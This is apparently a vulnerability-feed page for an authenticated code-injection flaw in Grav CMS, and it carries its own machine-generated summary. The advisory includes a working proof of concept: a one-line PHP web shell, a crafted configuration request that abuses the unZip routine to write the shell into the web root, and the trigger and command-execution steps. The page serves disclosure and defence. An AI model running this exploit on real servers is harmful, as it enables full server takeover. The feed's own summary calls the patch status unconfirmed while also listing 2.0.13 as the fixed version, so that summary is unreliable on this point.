Skip to main content
EPSS 0.9%top 42%

CVE-2026-72819: Improper Control of Generation of Code ('Code Injection') in getgrav grav

0
High
Published: 09/17/2026 (09/17/2026, 20:45:57 UTC)
Source: CVE Database V5
Vendor/Project: getgrav
Product: grav

Description

### Summary A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs. ### Details The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable. The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with `../`, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address. Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server. ### PoC 1. Log in at `http://TARGET/login` (or `/admin`). The session cookie is the only credential needed below. 2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at `/user/media/evil.zip`. Zip the shell.php file with the php code mentioned below: ``` shell.php: <?php system($_GET['c']); ?> zip evil.zip shell.php ``` 3. Send the request (attach your Cookie and X-API-Token): ``` PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json { "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } } ``` 4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token): ``` POST /api/v1/flex-objects/flex-objects Content-Type: application/json {"name": "x"} -> 201 ``` 5. Open the file that was written: ``` http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ... ``` ### Impact Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

CVSS v4.0

Score 8.7high

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vuln. Confidentiality
High
Vuln. Integrity
High
Vuln. Availability
High
Subsq. Confidentiality
None
Subsq. Integrity
None
Subsq. Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected software

getgrav

grav

Affected versions
>=0 <2.0.13
GitHub Actionsmore threats →ai
getgrav/grav
pkg:github/getgrav/grav
Affected versions
<2.0.13

Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.

AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 08/14/2026, 12:13:14 UTC

Technical Analysis

CVE-2026-72819 is a remote code execution vulnerability affecting Grav CMS before version 2.0.13. The issue exists in the Flex Objects plugin's settings validation, where attackers with authentication can upload a ZIP archive containing malicious PHP code. By exploiting a bypass in the routine name validation using array notation, the attacker can invoke the unZip routine to extract and write PHP files to the web root, enabling execution of arbitrary code on the server.

Potential Impact

Successful exploitation allows an authenticated attacker to execute arbitrary PHP code on the affected server, potentially leading to full system compromise depending on the server configuration and privileges of the web server process.

Mitigation Recommendations

Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, restrict authenticated user permissions to prevent uploading of ZIP files or disable the vulnerable Flex Objects plugin if possible.

Pro Console: star threats, build custom feeds, automate alerts via Slack, email & webhooks.Upgrade to Pro

Technical Details

Data Version
5.2
Assigner Short Name
VulnCheck
Date Reserved
2026-08-10T15:12:16.754Z
Cvss Version
4.0
State
PUBLISHED

Threat ID: 6a7f0284bf8831d539fec83f

Added to database: 08/14/2026, 11:56:52 UTC

Last enriched: 08/14/2026, 12:13:14 UTC

Last updated: 09/27/2026, 01:47:44 UTC

Views: 27

Community Reviews

0 reviews

Crowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.

Sort by
Loading community insights…

Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.

Actions

PRO

Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.

Please log in to the Console to use AI analysis features.

Need more coverage?

Upgrade to Pro Console for AI refresh and higher limits.

For incident response and remediation, OffSeq services can help resolve threats faster.

Latest Threats

Breach by OffSeqOFFSEQFRIENDS — 25% OFF

Check if your credentials are on the dark web

Instant breach scanning across billions of leaked records. Free tier available.

Scan now
OffSeq TrainingCredly Certified

Lead Pen Test Professional

Technical5-day eLearningPECB Accredited
View courses